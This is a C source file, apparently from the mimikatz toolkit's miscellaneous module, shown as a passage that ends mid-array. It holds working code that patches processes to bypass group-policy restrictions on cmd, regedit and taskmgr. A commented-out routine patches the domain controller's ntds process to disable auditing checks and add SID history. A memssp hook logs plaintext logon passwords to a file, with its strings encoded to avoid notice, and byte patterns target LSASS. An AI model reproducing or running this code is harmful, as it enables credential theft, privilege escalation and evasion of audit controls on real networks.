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kuhl_m_misc.c
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kuhl_m_misc.c
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/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_misc.h"
const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_cmd, L"cmd", L"Command Prompt (without DisableCMD)"},
{kuhl_m_misc_regedit, L"regedit", L"Registry Editor (without DisableRegistryTools)"},
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
{kuhl_m_misc_ncroutemon,L"ncroutemon", L"Juniper Network Connect (without route monitoring)"},
#if !defined(_M_ARM64)
{kuhl_m_misc_detours, L"detours", L"[experimental] Try to enumerate all modules with Detours-like hooks"},
#endif
//#ifdef _M_X64
// {kuhl_m_misc_addsid, L"addsid", NULL},
//#endif
{kuhl_m_misc_memssp, L"memssp", NULL},
{kuhl_m_misc_skeleton, L"skeleton", NULL},
{kuhl_m_misc_compress, L"compress", NULL},
{kuhl_m_misc_lock, L"lock", NULL},
{kuhl_m_misc_wp, L"wp", NULL},
{kuhl_m_misc_mflt, L"mflt", NULL},
{kuhl_m_misc_easyntlmchall, L"easyntlmchall", NULL},
{kuhl_m_misc_clip, L"clip", NULL},
{kuhl_m_misc_xor, L"xor", NULL},
{kuhl_m_misc_aadcookie, L"aadcookie", NULL},
{kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign", NULL},
{kuhl_m_misc_spooler, L"spooler", NULL},
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
ARRAYSIZE(kuhl_m_c_misc), kuhl_m_c_misc, NULL, NULL
};
NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"cmd.exe", L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"regedit.exe", L"DisableRegistryTools", sizeof(L"DisableRegistryTools"), L"KiwiAndRegistryTools", sizeof(L"KiwiAndRegistryTools"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"taskmgr.exe", L"DisableTaskMgr", sizeof(L"DisableTaskMgr"), L"KiwiAndTaskMgr", sizeof(L"KiwiAndTaskMgr"));
return STATUS_SUCCESS;
}
BYTE PTRN_WALL_ncRouteMonitor[] = {0x07, 0x00, 0x75, 0x3a, 0x68};
BYTE PATC_WALL_ncRouteMonitor[] = {0x90, 0x90};
KULL_M_PATCH_GENERIC ncRouteMonitorReferences[] = {{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WALL_ncRouteMonitor), PTRN_WALL_ncRouteMonitor}, {sizeof(PATC_WALL_ncRouteMonitor), PATC_WALL_ncRouteMonitor}, {2}}};
NTSTATUS kuhl_m_misc_ncroutemon(int argc, wchar_t * argv[])
{
kull_m_patch_genericProcessOrServiceFromBuild(ncRouteMonitorReferences, ARRAYSIZE(ncRouteMonitorReferences), L"dsNcService", NULL, TRUE);
return STATUS_SUCCESS;
}
#if !defined(_M_ARM64)
BOOL CALLBACK kuhl_m_misc_detours_callback_module_name_addr(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
if(((PBYTE) pvArg >= (PBYTE) pModuleInformation->DllBase.address) && ((PBYTE) pvArg < ((PBYTE) pModuleInformation->DllBase.address + pModuleInformation->SizeOfImage)))
{
kprintf(L"\t(%wZ)", pModuleInformation->NameDontUseOutsideCallback);
return FALSE;
}
return TRUE;
}
PBYTE kuhl_m_misc_detours_testHookDestination(PKULL_M_MEMORY_ADDRESS base, WORD machineOfProcess, DWORD level)
{
PBYTE dst = NULL;
BYTE bufferJmp[] = {0xe9}, bufferJmpOff[] = {0xff, 0x25}, bufferRetSS[] = {0x50, 0x48, 0xb8};
KUHL_M_MISC_DETOURS_HOOKS myHooks[] = {
{0, bufferJmp, sizeof(bufferJmp), sizeof(bufferJmp), sizeof(LONG), TRUE, FALSE},
{1, bufferJmpOff, sizeof(bufferJmpOff), sizeof(bufferJmpOff), sizeof(LONG), !(machineOfProcess == IMAGE_FILE_MACHINE_I386), TRUE},
{0, bufferRetSS, sizeof(bufferRetSS), sizeof(bufferRetSS), sizeof(PVOID), FALSE, FALSE},
};
KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, dBuffer = {&dst, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_ADDRESS pBuffer = *base;
DWORD i, sizeToRead;
for(i = 0; !dst && (i < ARRAYSIZE(myHooks)); i++)
{
if(level >= myHooks[i].minLevel)
{
sizeToRead = myHooks[i].offsetToRead + myHooks[i].szToRead;
if(aBuffer.address = LocalAlloc(LPTR, sizeToRead))
{
if(kull_m_memory_copy(&aBuffer, base, sizeToRead))
{
if(RtlEqualMemory(myHooks[i].pattern, aBuffer.address, myHooks[i].szPattern))
{
if(myHooks[i].isRelative)
{
dst = (PBYTE) pBuffer.address + sizeToRead + *(PLONG) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
}
else
{
dst = *(PBYTE *) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
#if defined(_M_X64)
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
if(myHooks[i].isTarget)
{
pBuffer.address = dst;
kull_m_memory_copy(&dBuffer, &pBuffer, sizeof(PBYTE));
#if defined(_M_X64)
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
}
}
LocalFree(aBuffer.address);
}
}
}
return dst;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
{
PBYTE dstJmp = NULL;
KULL_M_MEMORY_ADDRESS pBuffer = pExportedEntryInformations->function;
DWORD level = 0;
if((pExportedEntryInformations->function.address))
{
do
{
pBuffer.address = kuhl_m_misc_detours_testHookDestination(&pBuffer, pExportedEntryInformations->machine, level);
if(pBuffer.address && ((PBYTE) pBuffer.address < (PBYTE) (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address) || (PBYTE) pBuffer.address > ((PBYTE) ((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address + (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->SizeOfImage))))
{
dstJmp = (PBYTE) pBuffer.address;
level++;
}
} while (pBuffer.address);
if(dstJmp)
{
kprintf(L"\t[%u] %wZ ! ", level, (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->NameDontUseOutsideCallback));
if(pExportedEntryInformations->name)
kprintf(L"%-32S", pExportedEntryInformations->name);
else
kprintf(L"# %u", pExportedEntryInformations->ordinal);
kprintf(L"\t %p -> %p", pExportedEntryInformations->function.address, dstJmp);
kull_m_process_getVeryBasicModuleInformations(pExportedEntryInformations->function.hMemory, kuhl_m_misc_detours_callback_module_name_addr, dstJmp);
kprintf(L"\n");
}
}
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kuhl_m_misc_detours_callback_module_exportedEntry, pModuleInformation);
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemoryProcess;
DWORD pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
if(pid > 4)
{
kprintf(L"%wZ (%u)\n", &pSystemProcessInformation->ImageName, pid);
if(hProcess = OpenProcess(GENERIC_READ, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemoryProcess))
{
kull_m_process_getVeryBasicModuleInformations(hMemoryProcess, kuhl_m_misc_detours_callback_module, NULL);
kull_m_memory_close(hMemoryProcess);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return TRUE;
}
NTSTATUS kuhl_m_misc_detours(int argc, wchar_t * argv[])
{
kull_m_process_getProcessInformation(kuhl_m_misc_detours_callback_process, NULL);
return STATUS_SUCCESS;
}
#endif
BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SIZE_T szDisableString, PWSTR enableString, SIZE_T szEnableString)
{
BOOL status = FALSE;
PEB Peb;
PROCESS_INFORMATION processInformation;
PIMAGE_NT_HEADERS pNtHeaders;
KULL_M_MEMORY_ADDRESS aBaseAdress = {NULL, NULL}, aPattern = {disableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatch = {enableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory;
if(kull_m_process_create(KULL_M_PROCESS_CREATE_NORMAL, commandLine, CREATE_SUSPENDED, NULL, 0, NULL, NULL, NULL, &processInformation, FALSE))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, processInformation.hProcess, &aBaseAdress.hMemory))
{
if(kull_m_process_peb(aBaseAdress.hMemory, &Peb, FALSE))
{
aBaseAdress.address = Peb.ImageBaseAddress;
if(kull_m_process_ntheaders(&aBaseAdress, &pNtHeaders))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aBaseAdress.hMemory;
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase;
sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage;
if(status = kull_m_patch(&sMemory, &aPattern, szDisableString, &aPatch, szEnableString, 0, NULL, 0, NULL, NULL))
kprintf(L"Patch OK for \'%s\' from \'%s\' to \'%s\' @ %p\n", commandLine, disableString, enableString, sMemory.result);
else PRINT_ERROR_AUTO(L"kull_m_patch");
LocalFree(pNtHeaders);
}
}
kull_m_memory_close(aBaseAdress.hMemory);
}
NtResumeProcess(processInformation.hProcess);
CloseHandle(processInformation.hThread);
CloseHandle(processInformation.hProcess);
}
return status;
}
//#ifdef _M_X64
//BYTE PTRN_JMP[] = {0xeb};
//BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
//
//BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
//BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
////BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
//BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
//BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
//BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
//BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//KULL_M_PATCH_MULTIPLE wservprev[] = {
// {{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12r2[] = {
// {{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12[] = {
// {{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
//};
//KULL_M_PATCH_MULTIPLE w2k8r2[] = {
// {{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
// {{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
// {{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
// {{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
// {{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
// {{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
//};
//
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
//{
// SERVICE_STATUS_PROCESS sNtds;
// HANDLE hProcess, hDs;
// KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
// DWORD i, err;
//
// KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
// KULL_M_MEMORY_SEARCH sSearch;
// BOOL littleSuccess = TRUE;
// PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
// PKULL_M_PATCH_MULTIPLE pOs = NULL;
// DWORD pOsSz = 0;
//
// if(argc > 1)
// {
// if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
// {
// pOs = w2k8r2;
// pOsSz = ARRAYSIZE(w2k8r2);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
// {
// pOs = w2k12;
// pOsSz = ARRAYSIZE(w2k12);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
// {
// pOs = w2k12r2;
// pOsSz = ARRAYSIZE(w2k12r2);
// }
// else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
// {
// pOs = wservprev;
// pOsSz = ARRAYSIZE(wservprev);
// }
//
// if(pOs && pOsSz)
// {
// if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
// {
// err = DsBindW(NULL, NULL, &hDs);
// if(err == ERROR_SUCCESS)
// {
// if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
// {
// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
// {
// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
// {
// if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
// {
// sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
// sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
//
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
// pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
// pOs[i].LocalBackup.address = NULL;
// pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
// pOs[i].AdressOfPatch.address = NULL;
// pOs[i].OldProtect = 0;
//
// sAddress.address = pOs[i].Search.Pattern;
// if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
// {
// if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
// {
// pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
// {
// PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
// LocalFree(pOs[i].LocalBackup.address);
// pOs[i].LocalBackup.address = NULL;
// }
// }
// }
// else
// {
// kprintf(L"Search %u : ", i);
// PRINT_ERROR_AUTO(L"kull_m_memory_search");
// }
// }
//
// if(littleSuccess)
// {
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
//
// if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
// {
// sAddress.address = pOs[i].Patch.Pattern;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// }
// else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
// }
// }
//
// if(littleSuccess)
// {
// kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
// for(i = 1; i < (DWORD) argc; i++)
// {
// kprintf(L" * %s\t", argv[i]);
// err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
// if(err == NO_ERROR)
// kprintf(L"OK\n");
// else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
// }
// }
//
// for(i = 0; i < pOsSz; i++)
// {
// if(pOs[i].LocalBackup.address)
// {
// if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// LocalFree(pOs[i].LocalBackup.address);
// }
// if(pOs[i].OldProtect)
// kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
// }
// }
// kull_m_memory_close(aProcess.hMemory);
// }
// CloseHandle(hProcess);
// }
// else PRINT_ERROR_AUTO(L"OpenProcess");
// }
// err = DsUnBindW(&hDs);
// }
// else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
// LsaFreeMemory(pDnsInfo);
// }
// } else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
// } else PRINT_ERROR(L"It requires at least 2 args\n");
// return STATUS_SUCCESS;
//}
//#endif
typedef NTSTATUS (NTAPI * PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
typedef FILE * (__cdecl * PFOPEN)(__in_z const char * _Filename, __in_z const char * _Mode);
typedef int (__cdecl * PFWPRINTF)(__inout FILE * _File, __in_z __format_string const wchar_t * _Format, ...);
typedef int (__cdecl * PFCLOSE)(__inout FILE * _File);
#pragma optimize("", off)
NTSTATUS NTAPI misc_msv1_0_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE * logfile;
DWORD filename[] = {0x696d696d, 0x2e61736c, 0x00676f6c},
append = 0x00000061,
format[] = {0x0025005b, 0x00380030, 0x003a0078, 0x00300025, 0x00780038, 0x0020005d, 0x00770025, 0x005c005a, 0x00770025, 0x0009005a, 0x00770025, 0x000a005a, 0x00000000};
if(logfile = ((PFOPEN) 0x4141414141414141)((PCHAR) filename, (PCHAR) &append))
{
((PFWPRINTF) 0x4242424242424242)(logfile, (PWCHAR) format, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, &PrimaryCredentials->Password);
((PFCLOSE) 0x4343434343434343)(logfile);
}
return ((PSPACCEPTCREDENTIALS) 0x4444444444444444)(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
DWORD misc_msv1_0_SpAcceptCredentials_end(){return 'mssp';}
#pragma optimize("", on)
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
BYTE INSTR_JMP[]= {0xff, 0x25, 0x00, 0x00, 0x00, 0x00}; // need 14
BYTE PTRN_WIN5_MSV1_0[] = {0x49, 0x8b, 0xd0, 0x4d, 0x8b, 0xc1, 0xeb, 0x08, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x89, 0x4c, 0x24, 0x08}; // damn short jump!
BYTE PTRN_WI6X_MSV1_0[] = {0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
BYTE PTRN_WI81_MSV1_0[] = {0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_2K3, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, sizeof(PTRN_WIN5_MSV1_0)}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-15, 15}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
